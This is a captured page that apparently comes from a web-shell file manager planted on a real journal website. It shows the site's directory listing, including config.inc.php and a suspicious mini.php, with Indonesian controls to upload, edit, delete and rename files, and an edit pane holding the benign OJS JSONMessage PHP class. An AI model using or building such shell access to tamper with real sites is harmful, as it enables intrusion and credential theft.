File Manager
Upload
Current Directory: /home/lartcid/public_html/journal.lartc.id
[Back]
..
[Open]
Hapus
Rename
.htaccess
[Edit]
Hapus
Rename
.well-known
[Open]
Hapus
Rename
README.md
[Edit]
Hapus
Rename
api
[Open]
Hapus
Rename
cache
[Open]
Hapus
Rename
cgi-bin
[Open]
Hapus
Rename
classes
[Open]
Hapus
Rename
config.TEMPLATE.inc.php
[Edit]
Hapus
Rename
config.inc.php
[Edit]
Hapus
Rename
controllers
[Open]
Hapus
Rename
cypress.json
[Edit]
Hapus
Rename
dbscripts
[Open]
Hapus
Rename
docs
[Open]
Hapus
Rename
error_log
[Edit]
Hapus
Rename
favicon.ico
[Edit]
Hapus
Rename
index.php
[Edit]
Hapus
Rename
js
[Open]
Hapus
Rename
lib
[Open]
Hapus
Rename
locale
[Open]
Hapus
Rename
mini.php
[Edit]
Hapus
Rename
pages
[Open]
Hapus
Rename
php.ini
[Edit]
Hapus
Rename
plugins
[Open]
Hapus
Rename
public
[Open]
Hapus
Rename
registry
[Open]
Hapus
Rename
scheduledTaskLogs
[Open]
Hapus
Rename
schemas
[Open]
Hapus
Rename
styles
[Open]
Hapus
Rename
templates
[Open]
Hapus
Rename
tools
[Open]
Hapus
Rename
Edit File
<?php /** * @file classes/core/JSONMessage.inc.php * * Copyright (c) 2014-2021 Simon Fraser University * Copyright (c) 2000-2021 John Willinsky * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING. * * @class JSONMessage * @ingroup core * * @brief Class to represent a JSON (Javascript Object Notation) message. * */ class JSONMessage { /** @var string The status of an event (e.g. false if form validation fails). */ var $_status; /** @var Mixed The message to be delivered back to the calling script. */ var $_content; /** @var string ID for DOM element that will be replaced. */ var $_elementId; /** @var array List of JS events generated on the server side. */ var $_events; /** @var array Set of additional attributes for special cases. */ var $_additionalAttributes; /** * Constructor. * @param $status boolean The status of an event (e.g. false if form validation fails). * @param $content Mixed The message to be delivered back to the calling script. * @param $elementId string The DOM element to be replaced. * @param $additionalAttributes array Additional data to be returned. */ function __construct($status = true, $content = '', $elementId = '0', $additionalAttributes = null) { // Set internal state. $this->setStatus($status); $this->setContent($content); $this->setElementId($elementId); if (isset($additionalAttributes)) { $this->setAdditionalAttributes($additionalAttributes); } } /** * Get the status string * @return string */ function getStatus () { return $this->_status; } /** * Set the status string * @param $status string */ function setStatus($status) { assert(is_bool($status)); $this->_status = $status; } /** * Get the content string * @return mixed */ function getContent() { return $this->_content; } /** * Set the content data * @param $content mixed */ function setContent($content) { $this->_content = $content; } /** * Get the elementId string * @return string */ function getElementId() { return $this->_elementId; } /** * Set the elementId string * @param $elementId string */ function setElementId($elementId) { assert(is_string($elementId) || is_numeric($elementId)); $this->_elementId = $elementId; } /** * Set the event to trigger with this JSON message * @param $eventName string * @param $eventData mixed */ function setEvent($eventName, $eventData = null) { assert(is_string($eventName)); // Construct the even as an associative array. $event = array('name' => $eventName); if(!is_null($eventData)) $event['data'] = $eventData; $this->_events[] = $event; } /** * Set a global event to trigger with this JSON message * * This is a wrapper for the setEvent method. * * Global events are triggered on the global event router instead of being * triggered directly on the handler. They are intended for broadcasting * updates from one handler to other handlers. * * @param $eventName string * @param $eventData array Global event data must be an assoc array */ function setGlobalEvent($eventName, $eventData = array()) { assert(is_array($eventData)); $eventData['isGlobalEvent'] = true; $this->setEvent($eventName, $eventData); } /** * Get the events to trigger with this JSON message * @return array */ function getEvents() { return $this->_events; } /** * Get the additionalAttributes array * @return array */ function getAdditionalAttributes() { return $this->_additionalAttributes; } /** * Set the additionalAttributes array * @param $additionalAttributes array */ function setAdditionalAttributes($additionalAttributes) { assert(is_array($additionalAttributes)); $this->_additionalAttributes = $additionalAttributes; } /** * Construct a JSON string to use for AJAX communication * @return string */ function getString() { // Construct an associative array that contains all information we require. $jsonObject = array( 'status' => $this->getStatus(), 'content' => $this->getContent(), 'elementId' => $this->getElementId(), 'events' => $this->getEvents(), ); if(is_array($this->getAdditionalAttributes())) { foreach($this->getAdditionalAttributes() as $key => $value) { $jsonObject[$key] = $value; } } // Encode the object. $json = json_encode($jsonObject); if ($json === false) { error_log(json_last_error_msg()); } return $json; } }
Simpan